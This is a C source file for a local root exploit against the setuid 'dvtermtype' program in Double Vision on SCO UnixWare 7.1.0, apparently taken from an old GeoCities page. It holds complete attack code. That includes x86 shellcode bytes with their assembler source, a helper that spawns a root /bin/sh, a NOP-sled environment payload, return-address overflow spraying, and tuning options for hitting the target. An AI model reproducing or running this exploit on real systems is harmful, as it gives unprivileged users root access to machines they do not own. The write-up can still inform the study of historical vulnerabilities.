/*
 * dvexploit.c
 *
 * written by : Stephen J. Friedl
 * Software Consultant
 * 2000-06-24
 * steve@unixwiz.net
 *
 * This program exploits the "Double Vision" system on SCO
 * UnixWare 7.1.0 via a buffer overflow on the "dvtermtype"
 * program. Double Vision is like a "pcAnywhere for UNIX",
 * but quite a few programs in this distribution are setuid
 * root. The problem is that these programs were not written
 * with security in mind, and it's not clear that they even
 * need to be setuid root.
 *
 * This particular program exploits "dvtermtype" by passing a
 * very long second parameter that overflows some internal
 * buffer. This buffer is filled with a predicted address
 * of the shellcode, and the shellcode itself is stored in
 * a very long environment variable. This approach makes
 * the shellcode much easier to find.
 *
 * This shellcode was based directly on the great work of
 * Brock Tellier (btellier@usa.net), who seems to spend a lot
 * of time within with various SCO UNIX release. Thanks!
 *
 * This shellcode runs /tmp/ui, which should be this simple
 * program:
 *
 * $ cd /tmp
 * $ cat ui.c
 * int main() { setreuid(0,0); system("/bin/sh"); return 0; }
 * $ cc ui.c -o ui
 *
 * Brock's original work compiled this automatically, but I
 * prefer to do it by hand. A better approach is to do the
 * setreuid() in the shellcode and call /bin/sh directly.
 * Maybe another day.
 *
 * BUILD/TEST ENVIRONMENT
 * ----------------------
 *
 * $ cc -v
 * UX:cc: INFO: Optimizing C Compilation System (CCS) 3.2 03/03/99 (CA-unk_voyager5)
 *
 * $ uname -a
 * UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
 *
 * from /usr/lib/dv/README
 *
 * Double Vision for Character Terminals Release 3.0
 * Last Update: December 7, 1999
 *
 * TUNING
 * ------
 *
 * The default parameters to this program work on the versions mentioned
 * above, but for variants some tuning might be required. There are three
 * parameters that guide this program's operation:
 *
 * -a retaddr set the "return" address to the given hex value,
 * which is the address where we expect to find the
 * exploit code in the environment. The environment
 * is at a relatively fixed location just below
 * 0x80000000, so getting "close" is usually sufficient.
 * Note that this address cannot have any zero bytes
 * in it! We believe that the target code has enough
 * padding NOP values to make it an easy target.
 *
 * -r retlen length of the overflowed "return address" buffer,
 * which is filled in with the address provided above.
 * Default = 2k, max = 5k.
 *
 * -l n slightly shift the alignment of the return address
 * buffer by 1, 2 or 3 in case the buffer that's being
 * overflowed.
 */

#include 
#include 

/*-----------------------------------------------------------------------
 * shellcode for SCO UnixWare
 *
 * The shellcode in the binary was derived from assembler code
 * below, and we put the asm() code inside the function so we
 * can disassemble it and get the binary bytes easier. The code
 * all should match, but the real original data is the full
 * asm() code.
 */
#if 1

static const char scoshell[] =
"\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11"
"\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8"
"\xe2\xff\xff\xff"
"/tmp/ui"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#else

extern char scoshell[];

static void foo()
{

asm("#-------------------------------------------");
asm("scoshell:");
asm(" jmp L1b"); /* go to springboard */
asm(" L2b: popl %esi"); /* addr of /tmp/ui */
asm(" xorl %ebx,%ebx"); /* %ebx <-- 0 */
asm(" movl %ebx, 7(%esi)"); /* mark end of string */
asm(" movl %ebx, 12(%esi)"); /* 0 to lcall addr */
asm(" movb %bl, 17(%esi)"); /* 0 to lcall sub addr */
asm(" xorl %eax,%eax"); /* %eax <-- 0 */
asm(" movb $0x3b, %al"); /* 0x3b = "execve" */
asm(" leal 7(%esi), %edi"); /* addr of NULL word */
asm(" pushl %ebx"); /* zero */
asm(" pushl %edi"); /* addr of NULL word */
asm(" pushl %esi"); /* addr of "/tmp/ui" */
asm(" pushl %esi"); /* addr of "/tmp/ui" */
asm(" jmp L3b"); /* do OS call */
asm(" L1b: call L2b");
asm(" .ascii \"/tmp/ui\""); /* %esi */
asm(" .4byte 0xaaaaaaaa"); /* %esi[ 7] */
asm(" L3b: lcall $0xaa07,$0xaaaaaaaa"); /* OS call */
asm(" .byte 0x00"); /* endmarker */
asm("#-------------------------------------------");

}

#endif

#define NOP 0x90

static char *env[10], // environment strings
*arg[10]; // argument vector

/*------------------------------------------------------------------------
 * "Addr" is the predicted address where the shellcode starts in the
 * environment buffer. This was determined empirically based on a test
 * program that ran similarly, and it ought to be fairly consistent.
 * This can be changed with the "-a" parameter.
 */
static long addr = 0x7ffffc04;

static char *exefile = "/usr/lib/dv/dvtermtype";

int main(int argc, char *argv[])
{
int c;
int i;
char egg[1024];
int egglen = sizeof egg - 1;
int retlen = 2048;
char retbuf[5000];
int align = 0;
char *p;

setbuf(stdout, (char *)0 );

while ( (c = getopt(argc, argv, "a:r:l:")) != EOF )
{
switch (c)
{
  case 'a': addr = strtol(optarg, 0, 16); break;
  case 'l': align = atoi(optarg); break;
  case 'r': retlen = atoi(optarg); break;
}
}

if ( optind < argc )
exefile = argv[optind++];

printf("UnixWare 7.x exploit for suid root Double Vision\n");
printf("Stephen Friedl \n");
printf("Using addr=0x%x retlen=%d\n", addr, retlen);

/*---------------------------------------------------------------
* sanity check: the return buffer requested can't be too big,
* and the address can't have any zero bytes in it.
*/
if ( retlen > sizeof(retbuf) )
{
printf("ERROR: retlen can't be > %d\n", sizeof(retlen));
exit(1);
}

p = (char *)&addr;

if ( !p[0] || !p[1] || !p[2] || !p[3] )
{
printf("ERROR: ret address 0x%08lx has a zero byte!\n", addr);
exit(1);
}

/*---------------------------------------------------------------
* Now create the "return" buffer that is used to overflow the
* return address. This buffer really has nothing in it other than
* repeated copies of the phony return address, and one of them
* will overwrite the real %EIP on the stack. Then when the called
* function returns, it jumps to our code.
*
* It's possible that this requires alignment to get right, so
* the "-l" param above can be used to adjust this from 0..3.
* If we're aligning, be sure to fill in the early part of the
* buffer with non-zero bytes ("XXXX");
*/
strcpy(&retbuf, "XXXX");

for (i = align; i < retlen - 4; i += 4)
{
memcpy(retbuf+i, &addr, 4);
}
retbuf[i] = 0;

printf("strlen(retbuf) = %d\n", strlen( (char *)retbuf) );

/*---------------------------------------------------------------
* The "egg" is our little program that is stored in the environment
* vector, and it's mostly filled with NOP values but with our little
* root code at the end. Gives a wide "target" to hit: any of the
* leading bytes hits a NOP and flows down to the real code.
*
* The overall buffer is
*
  * X=################xxxxxxxxxxxxxxxxxxxxx\0
*
* where # is a NOP instruction, and "X" is the exploit code. There
* must be a terminating NUL byte so the environment processor does
* the right thing also.
*/
memset(egg, NOP, egglen);
memcpy(egg, "EGG=", 4);

// put our egg in the tail end of this buffer
memcpy(egg + (egglen - strlen(scoshell)- 1), scoshell, strlen(scoshell));

egg[egglen] = '\0';

/* build up regular command line */

arg[0] = exefile;
arg[1] = "dvexploit"; /* easy to find this later */
arg[2] = (char *)retbuf;
arg[3] = 0;

/*---------------------------------------------------------------
* build up the environment that contains our shellcode. This
* keeps it off the stack.
*/
env[0] = egg;
env[1] = 0;

execve(arg[0], arg, env);
} 

    Source: geocities.com/ijookeren/localexp

               ( geocities.com/ijookeren)